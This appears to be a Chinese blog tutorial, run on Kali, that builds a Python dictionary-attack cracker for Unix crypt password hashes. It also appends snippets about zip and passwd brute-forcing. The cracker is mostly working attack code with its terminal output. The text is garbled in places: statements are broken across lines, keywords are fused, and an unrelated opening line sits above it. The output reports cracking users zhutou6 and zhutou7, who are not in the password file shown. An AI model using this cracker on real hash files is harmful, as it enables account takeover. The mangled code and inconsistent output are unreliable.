對於我來說,武術的非凡之處在於它的簡單。簡單是最美的,而武術也沒有什麼特別之處;以無法為有法,以有限為無限,是為武術最高境界。unix 密碼破解器需要使用 python 標準庫中的 crypt 模組的 crypt() 函式,只需傳入密碼和鹽就能返回對應的雜湊密碼值。
ps:需要注意的是:crypt 模組只能在 xnix 系統中才能使用,在 windows 系統中會報錯。程式分為兩部分,一部分是開啟字典,另一部分是雜湊匹配密碼
#!/usr/bin/python3
#encoding='utf-8'
import crypt
result = crypt.crypt(
'zhutou'
,'hx'
)print
(result)
可以發現,返回的結果的前兩位就是鹽值(hx)
root@kali:
~/桌面/script/unix密碼破解器# python3 temp.py
hxs5ye43zu2ta
zhutou1:nsnobfisnbfo
zhutou2:nsbfisnbfo
zhutou3:nsnobfsnbfo
zhutou4:nsnobfisnbf
zhutou5:nsnobisnbfo
with
open
('temp.txt'
,'r'
)as f:
lines = f.readlines(
)for line in lines:
user = line.split(
':')[0
]#以分號作為隔離
passwd = line.split(
':')[1
].strip(
)print
(passwd)
nsnobfisnbfo
nsbfisnbfo
nsnobfsnbfo
nsnobfisnbf
nsnobisnbfo
process finished with exit code 0
定義乙個 testpass() 函式提取字典檔案中的值加密後和密碼比對,正確則輸出
root@kali:
~/桌面/script/unix密碼破解器# cat dictionary.txt
zhutou9
zhutou8
zhutou3
zhutou7
zhutou6
#!/usr/bin/python3
#encoding='utf-8'
import crypt
deftestpass
(cryptpass)
: salt = cryptpass[0:
2]# 獲取鹽值
with
open
('dictionary.txt'
,'r'
)as f:
lines = f.readlines(
)for line in lines:
line = line.strip(
)# 去除換行符
cryptword = crypt.crypt(line,salt)
if cryptword == cryptpass:
print
('found passwd: '
, line)
return
print
('password not found!'
)# 如果在 for 迴圈不能找到密碼就輸出並退出
defmain()
:with
open
('password.txt'
,'r'
)as f:
lines = f.readlines(
)for line in lines:
user = line.split(
':')[0
] passwd = line.split(
':')[1
].strip(
)print
('cracking password for: '
,user)
testpass(passwd)
if __name__==
'__main__'
: main(
)
root@kali:
~/桌面/script/unix密碼破解器# python3 temp.py
cracking password for: zhutou1
password not found!
cracking password for: zhutou2
password not found!
cracking password for: zhutou3
found passwd: zhutou3
cracking password for: zhutou4
password not found!
cracking password for: zhutou5
password not found!
cracking password for: zhutou6
found passwd: zhutou6
cracking password for: zhutou7
found passwd: zhutou7
豬頭
2020.4.7
unix 密碼破解,zip破解總結
unix etc passwd 破解,假設的前兩位是salt import crypt 資料比較 defpassword crak pass word salt pass word 0 2 diction open dictionary r for word in diction.readlines...
Python 暴力破解UNIX密碼指令碼
coding utf 8 暴力破解unix的密碼,需要輸入字典檔案和unix的密碼檔案 遍歷整個字典,試圖用常用的鹽值來匹配破解雜湊密碼 import crypt def testpass cryptpass salt cryptpass 0 2 dictfile open dictionary.t...
用python寫的簡單zip暴力破解器
optparse是乙個功能強大的處理命令列函式。首先匯入模組,建立opertionparser物件 import optparse parser optparse.optionparser 然後用add options 來定義命令列引數 parser.add options f dest dname...